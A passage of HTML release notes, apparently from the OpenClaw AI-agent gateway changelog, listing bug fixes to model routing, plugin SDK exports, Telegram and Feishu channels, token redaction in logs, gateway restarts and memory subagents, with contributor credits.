<li>ACPX: keep generated Codex and Claude ACP wrapper startup paths working when remote or special state filesystems reject chmod, since OpenClaw invokes the wrappers through Node instead of executing them directly. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341024005" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73333" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73333/hovercard" href="https://github.com/openclaw/openclaw/issues/73333">#73333</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/david-garcia-garcia/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/david-garcia-garcia">@david-garcia-garcia</a>.</li>
<li>CLI/onboarding: infer image input for common custom-provider vision model IDs, ask only for unknown models, and keep <code>--custom-image-input</code>/<code>--custom-text-input</code> overrides so vision-capable proxies do not get saved as text-only configs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4113799040" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51869" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51869/hovercard" href="https://github.com/openclaw/openclaw/issues/51869">#51869</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antsoldier1974/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antsoldier1974">@Antsoldier1974</a>.</li>
<li>Models/OpenAI Codex: stop listing or resolving unsupported <code>openai-codex/gpt-5.4-mini</code> rows through Codex OAuth, keep stale discovery rows suppressed with a clear API-key-route hint, and leave direct <code>openai/gpt-5.4-mini</code> available. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340500200" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73242" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73242/hovercard" href="https://github.com/openclaw/openclaw/issues/73242">#73242</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xCyda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xCyda">@0xCyda</a>.</li>
<li>Plugin SDK: restore the root <code>stringEnum</code> and <code>optionalStringEnum</code> exports on both the published SDK entry and runtime root-alias bridge, so older external plugins can keep building and loading while migrating to focused SDK subpaths. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4285319218" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68279" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68279/hovercard" href="https://github.com/openclaw/openclaw/issues/68279">#68279</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/marzliak/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/marzliak">@marzliak</a>.</li>
<li>Plugin SDK: restore the root-alias bridge for <code>registerContextEngine</code> and expose missing legacy compat helpers <code>normalizeAccountId</code> and <code>resolvePreferredOpenClawTmpDir</code> so older external plugins such as <code>openclaw-weixin</code> can keep loading while migrating to focused SDK subpaths. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4125782136" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/53497" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/53497/hovercard" href="https://github.com/openclaw/openclaw/issues/53497">#53497</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alanxchen85/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alanxchen85">@alanxchen85</a>.</li>
<li>Auth profiles: make <code>openclaw doctor --fix</code> migrate legacy flat <code>auth-profiles.json</code> files such as <code>{ "ollama-windows": { "apiKey": "ollama-local" } }</code> to canonical provider default API-key profiles with a backup, so custom Ollama/OpenAI-compatible providers recover cleanly after upgrading. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4193723396" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59629" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59629/hovercard" href="https://github.com/openclaw/openclaw/issues/59629">#59629</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4193943109" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59642" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/59642/hovercard" href="https://github.com/openclaw/openclaw/pull/59642">#59642</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Xsanders555/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Xsanders555">@Xsanders555</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Linux2010/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Linux2010">@Linux2010</a>.</li>
<li>Memory/Dreaming: retry Dream Diary once with the session default when a configured dreaming model is unavailable, while leaving subagent trust and allowlist errors visible instead of silently masking configuration problems. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4272034013" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67409" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67409/hovercard" href="https://github.com/openclaw/openclaw/issues/67409">#67409</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4293314377" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69209" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/69209/hovercard" href="https://github.com/openclaw/openclaw/pull/69209">#69209</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ghiggins18/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ghiggins18">@Ghiggins18</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/everySympathy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/everySympathy">@everySympathy</a>.</li>
<li>Feishu/inbound files: recover CJK filenames from plain <code>Content-Disposition: filename=</code> download headers when Feishu exposes UTF-8 bytes through Latin-1 header decoding, while leaving valid Latin-1 and JSON-derived names unchanged. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4085480139" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48578" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/48578/hovercard" href="https://github.com/openclaw/openclaw/pull/48578">#48578</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4101571186" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50435" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/50435/hovercard" href="https://github.com/openclaw/openclaw/pull/50435">#50435</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4191619007" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59431" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/59431/hovercard" href="https://github.com/openclaw/openclaw/pull/59431">#59431</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex-xuweilong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex-xuweilong">@alex-xuweilong</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lishuaigit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lishuaigit">@lishuaigit</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DoChaoing/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DoChaoing">@DoChaoing</a>.</li>
<li>Channels/Telegram: normalize accidental full <code>/bot&lt;TOKEN&gt;</code> Telegram <code>apiRoot</code> values at runtime and teach <code>openclaw doctor --fix</code> to remove the suffix, so startup control calls no longer 404 when direct Bot API curl commands work. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4147583968" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55387" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/55387/hovercard" href="https://github.com/openclaw/openclaw/issues/55387">#55387</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brendanmatthewjones-cmyk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brendanmatthewjones-cmyk">@brendanmatthewjones-cmyk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/techfindubai-ux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/techfindubai-ux">@techfindubai-ux</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sivlerback-Chris/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sivlerback-Chris">@Sivlerback-Chris</a>.</li>
<li>Zalo Personal: persist refreshed <code>zca-js</code> session cookies after QR login, session restore, and successful API calls so gateway restarts restore the freshest local session. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340657088" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73277" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73277/hovercard" href="https://github.com/openclaw/openclaw/pull/73277">#73277</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/darkamenosa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/darkamenosa">@darkamenosa</a>.</li>
<li>Logging/security: redact sensitive tokens (sk-* keys, Bearer/Authorization values, etc.) at the subsystem console sink so <code>createSubsystemLogger().info/warn/error</code> output that bypasses the patched console-capture handler still applies the same redaction the file transport already does. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340695876" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73284" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73284/hovercard" href="https://github.com/openclaw/openclaw/issues/73284">#73284</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4279976745" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67953" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67953/hovercard" href="https://github.com/openclaw/openclaw/issues/67953">#67953</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4236258393" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64046" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64046/hovercard" href="https://github.com/openclaw/openclaw/issues/64046">#64046</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/edwin-rivera-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/edwin-rivera-dev">@edwin-rivera-dev</a>.</li>
<li>Plugins/runtime deps: reuse enclosing versioned cache roots when bundled plugins resolve from nested staged paths, so plugin-runtime-deps no longer mints <code>openclaw-unknown-*</code> directories or loops on <code>ENOTEMPTY</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337695678" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72956" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72956/hovercard" href="https://github.com/openclaw/openclaw/issues/72956">#72956</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340343701" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73205" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73205/hovercard" href="https://github.com/openclaw/openclaw/pull/73205">#73205</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>.</li>
<li>Agents/failover: classify CJK provider transport, quota, billing, auth, and overload error text so Chinese-language provider failures trigger fallback and user-facing transport copy instead of surfacing as unclassified raw errors. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4158199546" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56242" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/56242/hovercard" href="https://github.com/openclaw/openclaw/pull/56242">#56242</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tomcatzh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tomcatzh">@tomcatzh</a>.</li>
<li>Agents/failover: seed non-claude-cli fallback prompts with Claude Code session context when a claude-cli attempt fails, so fallback models do not restart cold after billing or quota failover. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330447925" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72069" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72069/hovercard" href="https://github.com/openclaw/openclaw/pull/72069">#72069</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stainlu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stainlu">@stainlu</a>.</li>
<li>Agents/CLI runner: transfer bundle-MCP tempDir cleanup from the per-turn runner finally to the Claude live-session lifecycle, so persistent Claude CLI sessions keep their <code>--mcp-config</code> directory until the live subprocess closes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340502808" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73244" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73244/hovercard" href="https://github.com/openclaw/openclaw/issues/73244">#73244</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/edwin-rivera-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/edwin-rivera-dev">@edwin-rivera-dev</a>.</li>
<li>Gateway/nodes: allow Windows companion nodes to use safe declared commands such as canvas, camera list, location, device info, and screen snapshot by default while keeping dangerous media commands opt-in. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329773477" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71884" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71884/hovercard" href="https://github.com/openclaw/openclaw/pull/71884">#71884</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shanselman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shanselman">@shanselman</a>.</li>
<li>Agents/cron: clarify agent-tool and CLI cron timezone guidance so supplied <code>tz</code> values use local wall-clock cron fields and omitted cron <code>tz</code> falls back to the Gateway host local timezone. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4127561601" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/53669" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/53669/hovercard" href="https://github.com/openclaw/openclaw/issues/53669">#53669</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4075848754" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46177" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/46177/hovercard" href="https://github.com/openclaw/openclaw/pull/46177">#46177</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341318988" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73372" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73372/hovercard" href="https://github.com/openclaw/openclaw/pull/73372">#73372</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chen-zhang-cs-code/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chen-zhang-cs-code">@chen-zhang-cs-code</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/maranello-o/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/maranello-o">@maranello-o</a>.</li>
<li>Providers/Qwen: allow explicitly configured <code>qwen/qwen3.6-plus</code> to resolve on Qwen Coding Plan endpoints while keeping the built-in catalog from advertising it there. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4230933224" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63654" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63654/hovercard" href="https://github.com/openclaw/openclaw/issues/63654">#63654</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4235706659" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63987" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63987/hovercard" href="https://github.com/openclaw/openclaw/pull/63987">#63987</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepson-liu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepson-liu">@jepson-liu</a>.</li>
<li>Channels/Telegram: keep Bot API network fallbacks sticky after failed attempts and retry timed-out startup control calls once on the fallback route, so <code>deleteWebhook</code> IPv6 stalls no longer trigger slow multi-account retry storms. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340559555" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73255" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73255/hovercard" href="https://github.com/openclaw/openclaw/issues/73255">#73255</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ttomiczek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ttomiczek">@ttomiczek</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sktbrd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sktbrd">@sktbrd</a>.</li>
<li>Gateway/agents: accept heartbeat, cron, and webhook as internal channel hints for agent runs so <code>sessions_spawn</code> works from non-delivery parent sessions while unknown channel hints still fail closed. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340486669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73237" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73237/hovercard" href="https://github.com/openclaw/openclaw/issues/73237">#73237</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/KeWang0622/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/KeWang0622">@KeWang0622</a>.</li>
<li>Gateway/models: merge explicit <code>models.providers.*.models</code> rows into the Gateway model catalog with normalized provider/model dedupe, and use normalized image-capability lookup so custom vision models keep native image attachments even when Pi discovery omits them or model ID casing differs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4237974987" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64213" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64213/hovercard" href="https://github.com/openclaw/openclaw/issues/64213">#64213</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4246490555" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65165" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65165/hovercard" href="https://github.com/openclaw/openclaw/issues/65165">#65165</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/billonese/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/billonese">@billonese</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/202233a/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/202233a">@202233a</a>.</li>
<li>Gateway/reload: publish canonical post-write source config to in-process reloaders so simple config saves no longer create phantom plugin diffs or trigger unnecessary Gateway restarts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340625317" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73267" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73267/hovercard" href="https://github.com/openclaw/openclaw/pull/73267">#73267</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/szsip239/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/szsip239">@szsip239</a>.</li>
<li>Gateway/Docker: keep config-triggered restarts in-process inside containers instead of spawning a detached child and exiting PID 1 cleanly, so Docker Swarm and other on-failure supervisors do not leave the service stuck at 0/1 replicas. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340175542" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73178" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73178/hovercard" href="https://github.com/openclaw/openclaw/issues/73178">#73178</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/du-nguyen-IT007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/du-nguyen-IT007">@du-nguyen-IT007</a>.</li>
<li>CLI/tasks: ship the task-registry control runtime in npm packages so <code>openclaw tasks cancel</code> can load ACP/subagent cancellation helpers from published builds. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4291247802" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68997" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68997/hovercard" href="https://github.com/openclaw/openclaw/issues/68997">#68997</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/1OAKDesign/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/1OAKDesign">@1OAKDesign</a>.</li>
<li>Channels/Telegram: preserve unsent generated media after partial reply streaming has already delivered the text, so <code>image_generate</code> outputs still reach Telegram as photos instead of being dropped from the final payload. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340553289" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73253" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73253/hovercard" href="https://github.com/openclaw/openclaw/issues/73253">#73253</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mlaihk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mlaihk">@mlaihk</a>.</li>
<li>Memory-core/dreaming: cap detached Dream Diary narrative subagents across cron sweeps so multi-workspace dreaming no longer fans out unbounded subagent sessions, lock contention, and cascading narrative timeouts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340303806" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73198" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73198/hovercard" href="https://github.com/openclaw/openclaw/issues/73198">#73198</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340721230" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73287" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73287/hovercard" href="https://github.com/openclaw/openclaw/pull/73287">#73287</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/KeWang0622/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/KeWang0622">@KeWang0622</a>.</li>
<li>CLI/agents: close local one-shot Claude live stdio sessions and bundled MCP loopback resources after embedded <code>openclaw agent --local</code> runs, while keeping gateway-owned MCP loopback cleanup internal to the Gateway. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frankekn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frankekn">@frankekn</a>.</li>
<li>Export/session: keep inline export HTML scripts and vendor libraries injected after template formatting so generated session exports open with the app code, markdown renderer, and syntax highlighter present. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4049814084" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/41862" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/41862/hovercard" href="https://github.com/openclaw/openclaw/issues/41862">#41862</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4096932390" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49957" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/49957/hovercard" href="https://github.com/openclaw/openclaw/issues/49957">#49957</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4049813001" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/41861" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/41861/hovercard" href="https://github.com/openclaw/openclaw/pull/41861">#41861</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4290760423" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68947" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/68947/hovercard" href="https://github.com/openclaw/openclaw/pull/68947">#68947</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/briannewman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/briannewman">@briannewman</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martenzi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martenzi">@martenzi</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/armanddp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/armanddp">@armanddp</a>.</li>
<li>Agents/ACPX: stage the patched Claude ACP adapter as an ACPX runtime dependency and route known Codex/Claude ACP commands through local wrappers, so Gateway runtime no longer depends on live <code>npx</code> adapter resolution. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340321679" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73202" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73202/hovercard" href="https://github.com/openclaw/openclaw/issues/73202">#73202</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joerod26/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joerod26">@joerod26</a>.</li>
<li>Memory/compaction: let pre-compaction memory flush use an exact <code>agents.defaults.compaction.memoryFlush.model</code> override such as <code>ollama/qwen3:8b</code> without inheriting the active session fallback chain, so local housekeeping can avoid paid conversation models. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4128881385" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/53772" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/53772/hovercard" href="https://github.com/openclaw/openclaw/issues/53772">#53772</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/limen96/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/limen96">@limen96</a>.</li>
<li>macOS/update: stop managed Gateway services before package replacement and keep LaunchAgent service secrets out of world-readable plist metadata by loading them from owner-only env files. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338237591" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72996" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72996/hovercard" href="https://github.com/openclaw/openclaw/issues/72996">#72996</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Mathewb7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Mathewb7">@Mathewb7</a>.</li>
<li>Google Meet: keep observe-only Chrome joins and setup checks from requiring BlackHole or audio bridge commands, avoid granting or selecting the microphone in observe-only mode, and make <code>test_speech</code> report fresh realtime output-byte verification instead of only confirming a queued utterance. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332551182" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72478" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72478/hovercard" href="https://github.com/openclaw/openclaw/issues/72478">#72478</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DougButdorf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DougButdorf">@DougButdorf</a>.</li>
